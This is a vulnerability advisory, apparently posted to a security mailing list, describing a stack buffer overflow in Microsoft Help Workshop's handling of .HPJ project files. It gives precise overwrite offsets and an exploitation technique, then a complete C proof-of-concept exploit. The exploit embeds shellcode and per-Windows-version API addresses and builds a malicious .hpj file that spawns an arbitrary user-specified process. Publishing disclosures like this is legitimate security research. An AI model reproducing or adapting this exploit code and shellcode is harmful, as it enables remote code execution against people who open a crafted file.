<<< Date Index >>>     <<< Thread Index >>>

Help project files (.HPJ) buffer overflow vulnerability in Microsoft Help Workshop



Advisory:
/////////
Microsoft Help Workshop is prone to stack based memory corruption vulnerability
during processing (.HPJ) help project files, caused by the lack of input data 
boundary check.
It could be exploited by malicious entity to execute arbitrary code within the 
remote
user context.


Affected vendor:
////////////////
Microsoft


Product overview:
/////////////////
Microsoft Help Workshop 4.03.0002 is standard component of Microsoft Visual 
Studio 6 / 2003 (.NET)
It could be also downloaded alone from the Microsoft download center.


Impact:
///////
Remote code execution


Attack vector:
/////////////
An attacker must construct malformed (.HPJ) file and induce victim to
open it with the tool, or if MS Help Workshop has been launched
in the past (after first launch it associates the .HPJ files with itself),
to launch the malicious file by doubleclicking/selecting to OPEN the help 
project.


Technical Details:
//////////////////
The stack based buffer overflow occurs in Microsoft Help Workshop
while processing .hpj project files.
Example .hpj file:

[OPTIONS]
REPORT=Yes
HLP=HelpFilePathString01

The problem lies in lack of boundary check of file path variables 
(in this case: HelpFilePathString01) in the 'HLP' field of 'OPTIONS' section.
When the string lenght exceeds 256 bytes, programs static buffer is overflowed
and its memory is corrupted.
The EIP register value is then overwritten by the DWORD value
placed 108h bytes counting from the beginning of 'HelpFilePathString01' string.
The ESP is set to DWORD value placed 534 bytes counting from the beggining of 
the string.
The process control can be therefore
intercepted by the attacker by redirecting the instruction flow 
to the attackers provided code within the malformed .hpj file.
However before the data from the input file is being copied to the 
buffer it is parsed by the process and the specific
ascii ranges (41-5A,8A,8C-8F,A3,A5,AA,Af,BC,C0-D6,D8-DE if the string
ends with '\') are modified before being deployed in the stack memory.
Therefore successful exploitation using ESP-pointed data area 
requires strongly limited instruction set or payload encoder.
However after buffer overflows ESI value is pointing to 
the buffer in the HCW.EXE .data PE section which holds the 'untouched' 
input string, probably temp buffer for the parser.
ESI points to the beginning of the 'HelpFilePathString01'.
That simplifies the shellcode issue, althought
it must be considered that the DWORD return address to overwrite EIP with the 
JMP ESI code offset in process memory space has
still to follow the ascii-excluding rules of the  parser, because the overflow 
is being produced by the parser procedure itself.


Vulnerable software:
////////////////////
Microsoft Help Workshop v4.03.0002
Microsoft Visual Studio 6.0 SP6
Microsoft Visual Studio 2003 (.Net)


Credits:
////////
Vulnerability discovered and researched by: porkythepig
exploit by: porkythepig
email: porkythepig@xxxxxxxx


Exploit:
////////
Proof of Concept exploit has been included at the end of the report.
After compiled, it will create .hpj exploit files that 
after successful exploitation should spawn user specified process 
(by default notepad.exe), for the user specified host OS enviroment.
It can be also found at:
www.anspi.pl/~porkythepig/visualization/hpj-x01.cpp








//////////////////////////////////////////////
//*****************
//
//  PoC exploit for (.HPJ) project files buffer overflow vulnerability in 
//  Microsoft Help Workshop v4.03.0002
//  The tool is standard component of MS Visual Studio v6.0 and 2003 (.NET)
//
//  vulnerability found / exploit built by porkythepig
//
//*****************

#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "memory.h"

#define STR01 "Microsoft Help Workshop PoC exploit by porkythepig"
#define DEF_SPAWNED_PROCESS "notepad.exe"
#define EXPL_SIZE 671
#define PROC_NAM_SIZ 128
#define RET_OFFSET 0x14e
#define PROC_NAME_OFFSET 0x166
#define EXPRO_OFFSET 0xd9
#define GETSTAR_OFFSET 0x58
#define CREPRO_OFFSET 0xcf
#define GETWINDIR_OFFSET 0x73

typedef struct
{
        unsigned int extPro;
        unsigned int getStarInf;
        unsigned int crePro;
        unsigned int getWinDir;
        unsigned int jmpEspPtr;
}ApiPtrs;

ApiPtrs osApiPtrs[5]=
{
        0x793f69da,0x793f6b7a,0x793f5010,0x793f2d23,0x793d1c8b, 
        0x7c4ee01a,0x7c4f49df,0x7c4fc0a0,0x7c4e9cFF,0x7ffd2d63, 
        0x7c5969da,0x7c596b7a,0x7c595010,0x7c592d23,0x7d0c65f1, 
        0x7c81cdda,0x7c801eee,0x7c802367,0x7c821363,0x7cb97b75, 
        0x77e75cb5,0x77e6177a,0x77e61bb8,0x77e705b0,0x775fe310  
};

unsigned char shlCode[]=
{
        0x66,0x83,0xc4,0x10,0x8b,0xc4,0x66,0x81,
        0xec,0x10,0x21,0x50,0x66,0x2d,0x11,0x11,
        0x50,0xb8,0x7a,0x6b,0x3f,0x79,0xff,0xd0,
        0x58,0x50,0x80,0x38,0x20,0x74,0x49,0x5b,
        0x53,0x33,0xc0,0xb0,0xff,0x50,0x66,0x81,
        0xeb,0x11,0x05,0x53,0xb8,0x23,0x2d,0x3f,
        0x79,0x3c,0xff,0x75,0x02,0x32,0xc0,0xff,
        0xd0,0x58,0x50,0x66,0x2d,0x11,0x05,0x32,
        0xdb,0x38,0x18,0x74,0x03,0x40,0xeb,0xf9,
        0x5b,0x53,0xb2,0x01,0xb1,0x5c,0x88,0x08,
        0x40,0x38,0x13,0x74,0x08,0x8a,0x0b,0x88,
        0x08,0x43,0x40,0xeb,0xf4,0xb2,0x01,0x88,
        0x10,0x58,0x50,0x66,0x2d,0x11,0x05,0x48,
        0x40,0x8b,0xd0,0x80,0x38,0x01,0x74,0x03,
        0x40,0xeb,0xf8,0x32,0xc9,0x88,0x08,0x58,
        0x50,0x66,0x2d,0x11,0x11,0x50,0x33,0xc9,
        0x51,0x51,0x51,0x51,0x51,0x51,0x51,0x52,
        0xb8,0x10,0x50,0x3f,0x79,0xff,0xd0,0x33,
        0xc0,0x50,0xb8,0xda,0x69,0x3f,0x79,0xff,
        0xd0
};


char buf0[EXPL_SIZE];
char spawnProcess[PROC_NAM_SIZ];
char *outName;
int osId;
int defProc;

void CompileBuffer()
{
        int ptr=0;

        memset(buf0,'1',EXPL_SIZE);
        ptr+=sprintf(buf0,";%s\r\n\r\n[OPTIONS]\r\nHLP=",STR01);
        memcpy(buf0+ptr,shlCode,sizeof(shlCode));

        *((unsigned int*)(buf0+EXPRO_OFFSET))=osApiPtrs[osId].extPro;
        *((unsigned int*)(buf0+GETSTAR_OFFSET))=osApiPtrs[osId].getStarInf;
        *((unsigned int*)(buf0+CREPRO_OFFSET))=osApiPtrs[osId].crePro;
        *((unsigned int*)(buf0+GETWINDIR_OFFSET))=osApiPtrs[osId].getWinDir;
        *((unsigned int*)(buf0+RET_OFFSET))=osApiPtrs[osId].jmpEspPtr;

        ptr=PROC_NAME_OFFSET;
        if(!defProc)
        {
                buf0[ptr]=32;
                ptr++;
        }
        sprintf(buf0+ptr,"%s\x01",spawnProcess);

        buf0[EXPL_SIZE-2]='\\';
        printf("Exploit buffer compiled\n");
}

void WriteBuffer()
{
        FILE *o;

        o=fopen(outName,"wb");
        if(o==NULL)
        {
                printf("Cannot open file for writing\n");
                exit(0);
        }

        fwrite(buf0,EXPL_SIZE,1,o);
        fclose(o);

        printf("Output .hpj file [ %s ] built successfully\n",outName);
}

void ProcessInput(int argc, char* argv[])
{
        printf("\nMicrosoft Help Workshop 4.03.0002 .HPJ Project file 
exploit\n");
        printf("Vulnerability found & exploit built by porkythepig\n");
        
        if(argc<3)
        {
                printf("Syntax: exploit.exe os outName [spawnProc]\n");
                printf("[os]        host OS, possible choices:\n");
                printf("               0   Windows 2000 SP4 [Polish] 
updates-04012007\n"); 
                printf("               1   Windows 2000 SP4 [English]\n"); 
                printf("               2   Windows 2000 SP4 [English] 
updates-04012007\n");
                printf("               3   Windows XP Pro SP2 [English] 
updates-04012007\n");
                printf("               4   Windows XP Pro [English]\n");
                printf("[outName]   output .hpj exploit file name\n");
                printf("[spawnProc] *optional* full path to the process to be 
spawned by\n");
                printf("            the exploit (if none specified default will 
be notepad.exe)\n");
                exit(0);
        }

        osId=atol(argv[1]);
        if((osId<0)||(osId>4))
        {
                exit(0);
        }

        outName=argv[2];

        if(argc>3)
        {
                if(strlen(argv[3])>=PROC_NAM_SIZ) 
                {
                        exit(0);
                }
                strcpy(spawnProcess,argv[3]);
                defProc=0;
        }
        else
        {
                strcpy(spawnProcess,DEF_SPAWNED_PROCESS);
                defProc=1;
        }
}

int main(int argc, char* argv[])
{

        ProcessInput(argc,argv);
        CompileBuffer();
        WriteBuffer();

        return 0;
}